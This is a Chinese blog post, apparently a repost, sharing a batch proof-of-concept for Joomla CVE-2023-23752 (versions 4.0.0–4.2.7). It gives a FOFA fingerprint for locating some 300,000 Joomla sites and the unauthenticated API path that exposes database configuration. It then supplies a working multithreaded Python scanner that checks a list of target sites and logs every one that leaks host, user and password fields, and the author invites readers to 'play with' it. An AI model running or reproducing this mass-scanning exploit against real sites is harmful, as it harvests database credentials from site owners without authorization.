(自用POC)Joomla-CVE-2023-23752

本文转载于:https://mp.weixin.qq.com/s?__biz=MzIzNDU5Mzk2OQ==&mid=2247485320&idx=1&sn=072c619e3acf506f3e0c35216e314b1e&chksm=e8f54c56df82c540366fd42e360d8831ce4be9b61000726693c2978dd49193479a051ba9bff7&mpshare=1&scene=23&srcid=0313NtplC6fDEgQsxYKRDXOC&sharer_sharetime=1678669025695&sharer_shareid=e065963f591f1d96b07207551473e96d#rd

这个Joomla! CMS的洞在上个礼拜情报出来的时候就随手写了个POC了,当时想验证刷刷洞再发的,但是去长沙嗨了,现在拿到电脑开个机就发给大家耍耍,也不传Github了,就一个py文件。大家一起研究学习,做个有家国情怀的好红帽。

FOFA指纹

product="Joomla"

在这里插入图片描述
30w条数据,由于导出有限我们可以分国家分端口按条件导出。

影响版本

4.0.0 <= Joomla <= 4.2.7

漏洞介绍

在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。

未授权路径在:

/api/index.php/v1/config/application?public=true

我们可以直接看到数据库的配置信息。

在这里插入图片描述

批量POC

这里话不多说,直接给上批量POC给大家玩。


from queue import Queue
from threading import Thread, Lock

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BASE_URL = "/api/index.php/v1/config/application?public=true"


def write_Result(url):
    with open("resuslt.txt", "a", encoding="utf-8") as f:
        f.write(url + "\n")


def ReadFile(fQueue: Queue):
    # self.file = 要读取的文本
    # 当前测试为静态路径
    with open(r"text.txt", 'r', encoding='utf-8') as file:
        for file in file.readlines():
            f = file.replace("\n", '') + BASE_URL
            fQueue.put(f)


class A(Thread):
    def __init__(self, a):
        super(A, self).__init__()
        self.queue = a
        self.setDaemon(True)

    def run(self) -> None:
        try:
            # print(url)
            response = requests.get(self.queue, verify=False)
            # print("URL:{} STATUS:{}".format(response.url, response.status_code))
            if response.status_code == 200 and response.text.find("host") != -1 and response.text.find("user") != -1 and response.text.find("password") != -1:
                write_Result(self.queue)
                print("URL:{} STATUS:{}".format(response.url, response.status_code))
        except Exception as e:
            pass


q = Queue()
ReadFile(q)
while True:
    url = q.get()
    A(url).start()
    if q.empty():
        break

缺依赖的话自行导入即可使用,使用命令:

python poc.py # 同级目录下把源地址放到text.txt即可,自用写死了

结果会生成result.txt在目录下:

在这里插入图片描述
结果是写入的漏洞地址:

在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值